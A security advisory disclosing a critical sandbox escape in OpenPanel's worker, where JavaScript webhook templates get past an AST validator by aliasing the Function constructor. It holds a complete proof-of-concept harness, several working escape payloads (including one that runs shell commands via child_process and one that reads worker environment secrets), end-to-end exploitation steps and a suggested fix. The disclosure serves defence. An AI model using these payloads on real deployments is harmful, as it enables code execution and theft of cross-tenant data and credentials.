All vulnerabilities
GHSA-mc99-9jf5-22cq

ghcr.io/openpanel-dev/worker: Webhook JavaScript template can escape the validator sandbox via an aliased Function constructor

ghcr.io/openpanel-dev/worker
CVSS
9.9Critical
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published11 Oct 2026Updated 11 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

OpenPanel lets a project member attach a JavaScript template to a webhook integration (mode: 'javascript' + javascriptTemplate). The template is checked by an AST allowlist (validate() in packages/js-runtime/src/validate.ts) and then compiled with new Function() in the worker process (packages/js-runtime/src/execute.ts), which is the process holding the database, ClickHouse, Redis and third-party integration credentials.

The allowlist is not an isolation boundary, and a whole family of forms walks past it: a template may read a forbidden property (constructor, __proto__, prototype) as long as it does not call it as a member call and does not assign through it. payload.constructor.constructor is free to be copied into a local, and the local can then be called — the call is no longer a member expression, so the "only allowlisted methods" check never runs:

(payload) => { const F = payload.constructor.constructor; return F('return 1')(); }

validate() returns { valid: true }, execute() compiles it, and the returned function is the real Function constructor evaluated in global scope — arbitrary JavaScript, hence arbitrary commands, with the worker's privileges.

Affected component: apps/worker (notification delivery) + packages/js-runtime. Tested commit: 61a9245309c1efb906e2b06c5d8b6effbe30e4c2 (main, 2026-09-18). The JavaScript webhook-template feature landed in 286f8e16 (2026-01-23), so every version since then carries it.

Root cause

The validator's own comment states the incorrect assumption:

// packages/js-runtime/src/validate.ts:353-355
// Block writes that reach the prototype chain: payload.__proto__.x = 1,
// payload['constructor'].prototype.y = 2. Reading these is already
// handled by the call and 'new' checks above.

"Handled by the call checks" only holds when the read and the call are the *same* AST node. Both guards are keyed on node shape, not on the value being reached:

  1. Call targets (validate.ts:276-331) — the block only runs when callee.type is MemberExpression / OptionalMemberExpression. Any other callee shape (an Identifier bound to a local, a SequenceExpression such as (0, x)(...), a CallExpression such as x('...')()) is never inspected. When it *is* a member expression, only ALLOWED_INSTANCE_METHODS (constants.ts:39-141) can reject .constructor, and only for the final property of the callee.
  2. Assignment/update targets (validate.ts:356-366) — forbiddenPropertyInChain() rejects __proto__ / constructor / prototype, but only on the left-hand side of an assignment or update.

A read (const F = payload.constructor.constructor;) is neither, so no rule applies. Reading .constructor off a plain object yields Object; off Object it yields Function. The computed-access fix (validate.ts:293-297) and the re-validation added to execute() (execute.ts:16-19) do not cover it — execute() re-runs the same validate(), which accepts the template.

Steps to Reproduce

No deployment is needed to see the validator accept the template: the two files that decide everything can be bundled and run directly.

  1. Clone and pin the revision:
git clone https://github.com/openpanel-dev/openpanel && cd openpanel
git rev-parse HEAD   # 61a9245309c1efb906e2b06c5d8b6effbe30e4c2
  1. Bundle the real validator + executor (nothing stubbed):
mkdir -p work/src && cp packages/js-runtime/src/{validate.ts,ast-walker.ts,constants.ts,execute.ts} work/src/
printf "export { validate } from './validate';\nexport { execute } from './execute';\n" > work/src/index.ts
cd work && npm init -y && npm i @babel/parser esbuild
npx esbuild src/index.ts --bundle --platform=node --format=esm --outfile=build/runtime.mjs
  1. Run the harness below (node poc.mjs work/build/runtime.mjs). Output, verbatim:
### 1. forms the validator is supposed to refuse
blocked     computed call target  -> Computed property access on a call target is not allowed. Use a literal method name, e.g. value.toUpperCase().
blocked     direct member call on .constructor  -> Method '.constructor()' is not allowed. Only safe methods are permitted.
blocked     new on a non-identifier callee  -> The target of 'new' must be a plain identifier. Only 'new Date()' is permitted.
blocked     dynamic import()  -> Dynamic import() is not allowed
blocked     __proto__ write via no-substitution template literal  -> Assigning through '__proto__' is not allowed.

### 2. aliased-constructor forms (validator accepts all of them)
VALID (escape) aliased read of .constructor
VALID (escape) sequence-expression callee
VALID (escape) aliased read off an allowed instance method
VALID (escape) aliased read off an allowed global
VALID (escape) aliased read via destructuring
VALID (escape) aliased read off an array literal (payload-independent)
accepted: 6/6

### 3. execute() on the accepted template -> code runs in the host process
validate(rce) -> {"valid":true}
host command output: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),968(docker),982(bluetooth),999(lpadmin)
marker file: RCE_MARKER

### 4. same escape with an empty payload object (no payload cooperation needed)
validate(rce2) -> {"valid":true}
worker env read from inside the template: (DATABASE_URL not set in this shell)

### 5. control: an ordinary template still works
validate(good) -> {"valid":true} | execute -> {"event":"signup","plan":"pro"}

Harness (poc.mjs):

const { validate, execute } = await import(process.argv[2]);
const fs = await import('node:fs');
const payload = { name: 'signup', properties: { plan: 'pro' } };

const mustBeBlocked = [
  ['computed call target', `(payload) => payload['constructor']['constructor']('return 1')()`],
  ['direct member call on .constructor', `(payload) => payload.constructor.constructor('return 1')()`],
  ["new on a non-identifier callee", `(payload) => new (payload.constructor.constructor)('return 1')`],
  ['dynamic import()', `(payload) => import('node:fs')`],
  ['__proto__ write via template literal', '(payload) => { payload[`__proto__`].x = 1; return payload; }'],
];

const escapes = [
  ['aliased read of .constructor', `(payload) => { const F = payload.constructor.constructor; return F('return process.version')(); }`],
  ['sequence-expression callee', `(payload) => (0, payload.constructor.constructor)('return process.version')()`],
  ['aliased read off an allowed instance method', `(payload) => { const F = payload.hasOwnProperty.constructor; return F('return process.version')(); }`],
  ['aliased read off an allowed global', `(payload) => { const F = JSON.parse.constructor; return F('return process.version')(); }`],
  ['aliased read via destructuring', `(payload) => { const { constructor: O } = payload; const F = O.constructor; return F('return process.version')(); }`],
  ['aliased read off an array literal', `(payload) => { const F = [].filter.constructor; return F('return process.version')(); }`],
];

for (const [name, code] of mustBeBlocked) {
  const v = validate(code);
  console.log(`${v.valid ? 'VALID (!!)' : 'blocked'} ${name}${v.error ? ' -> ' + v.error : ''}`);
}
let accepted = 0;
for (const [name, code] of escapes) {
  const v = validate(code);
  if (v.valid) accepted++;
  console.log(`${v.valid ? 'VALID (escape)' : 'blocked'} ${name}${v.error ? ' -> ' + v.error : ''}`);
}
console.log(`accepted: ${accepted}/${escapes.length}`);

const rce = `(payload) => { const F = payload.constructor.constructor; return F('return import("node:child_process").then(m => m.execSync("id; echo RCE_MARKER > /tmp/openpanel_template_rce").toString().trim())')(); }`;
console.log('validate(rce) ->', JSON.stringify(validate(rce)));
console.log('host command output:', await execute(rce, payload));
console.log('marker file:', fs.readFileSync('/tmp/openpanel_template_rce', 'utf8').trim());
  1. End-to-end on a self-hosted instance (a member with write on one project is enough — packages/trpc/src/routers/integration.ts:104-107, WRITE_LEVELS = { write, admin } in packages/db/src/services/access.service.ts:9-16):
  • Dashboard → project → Integrations → Webhook → Mode: JavaScript → paste the template into the "JavaScript Transform" field (apps/start/src/components/integrations/forms/webhook-integration.tsx:238-246) and save. Equivalent: POST /trpc/integration.createOrUpdate with config = { type: 'webhook', url, headers, mode: 'javascript', javascriptTemplate } (zWebhookConfig, packages/validation/src/integrations.ts:140-147). Save-time validation (packages/integrations/src/registry.ts:162-169) accepts the template.
  • Create a notification rule that attaches that integration (POST /trpc/notification.createOrUpdateRule, packages/trpc/src/routers/notification.ts:80; zCreateNotificationRule, packages/validation/src/index.ts:457-466), e.g. config = { type: 'events', events: [{ name: 'signup', filters: [] }] }.
  • Send one matching event through the public tracking endpoint (POST /track, apps/api/src/routes/track.router.ts:16-33).
  • The worker evaluates the project's rules on every ingested event (apps/worker/src/jobs/events.incoming-event.ts:74 → checkNotificationRulesForEvent, packages/db/src/services/notification.service.ts:301), enqueues the notification (notification.service.ts:164), and apps/worker/src/jobs/notification.ts:96 → packages/integrations/src/registry.ts:175-182 → execute() runs the template. The shell command is a side effect of the template, so it runs regardless of the webhook request's own outcome.

Proof of concept — every accepted form

  1. Aliased read of .constructor:
(payload) => { const F = payload.constructor.constructor; return F('return 1')(); }
  1. Sequence-expression callee (callee is not a member expression, so the method allowlist never runs):
(payload) => (0, payload.constructor.constructor)('return 1')()
  1. Read off an allowlisted instance method (hasOwnProperty is in ALLOWED_INSTANCE_METHODS; the read is not a call target):
(payload) => { const F = payload.hasOwnProperty.constructor; return F('return 1')(); }
  1. Read off an allowlisted global's method:
(payload) => { const F = JSON.parse.constructor; return F('return 1')(); }
  1. Read via destructuring (ObjectPattern keys are treated as property keys and skipped):
(payload) => { const { constructor: O } = payload; const F = O.constructor; return F('return 1')(); }
  1. Read off an array literal (needs no payload cooperation at all):
(payload) => { const F = [].filter.constructor; return F('return process.version')(); }
  1. Command execution (validate() -> {"valid":true}, id output captured, marker written):
(payload) => { const F = payload.constructor.constructor; return F('return import("node:child_process").then(m => m.execSync("id; echo RCE_MARKER > /tmp/openpanel_template_rce").toString().trim())')(); }
  1. Worker environment read with an empty payload (validate() -> {"valid":true}):
(payload) => { const F = [].filter.constructor; return F('return process.env.DATABASE_URL || "(not set)"')(); }

Negative controls, same harness and same run: the five forms the validator is documented to refuse are all still refused, and an ordinary template ((payload) => ({ event: payload.name })) still validates and executes normally.

Impact

A user with write on one project — the lowest role that can configure an integration — obtains arbitrary code execution in the worker process. From there: read/write of the platform database (all tenants' projects, events, users, and the encrypted integration credentials the worker itself decrypts), ClickHouse, Redis, object-store credentials, and outbound network access from inside the deployment. Because this is code execution in a shared process rather than a data-scoping bug, the impact applies to the whole deployment, not only the attacker's project.

Suggested fix

  1. Close the read hole in the validator. Reject any MemberExpression / OptionalMemberExpression (read or write) whose *static* property name resolves to constructor, prototype or __proto__ — non-computed identifiers, StringLiteral / no-substitution TemplateLiteral computed keys, and ObjectPattern keys (const { constructor: F } = payload) — regardless of the parent node type. Treat any callee that is not a plain Identifier or a non-computed member expression as unresolvable and refuse it (SequenceExpression, ConditionalExpression, CallExpression, parenthesised chains, tagged templates). Keep the ALLOWED_INSTANCE_METHODS check, but apply it to the *resolved* method name of every member read, not only call targets.
  2. Stop relying on source filtering for isolation. Run templates in a real boundary — a node:vm context whose global is a curated, null-prototype sandbox (no process, no require, no Function), or a separate worker/isolated-vm with the host API passed in explicitly. AST allowlists over attacker-supplied source are a known-losing design; note that node:vm is itself not a security boundary for hostile code unless the code runs in a separate isolate.

Notes

  • Standalone issue: it is a different hole from GHSA-rqpr-2wvr-29pf / CVE-2026-93985 (computed member access on a call target, fixed by e6339b3), which is mentioned only for context.
  • Credit: Kaya Emre Arikan @kemrec

Text from GitHub Advisory Database

Affected versions 1

  • ghcr.io/openpanel-dev/worker, othermain (rolling tag): every image build from 286f8e16 (2026-01-23) through 61a92453 (2026-09-18)GitHub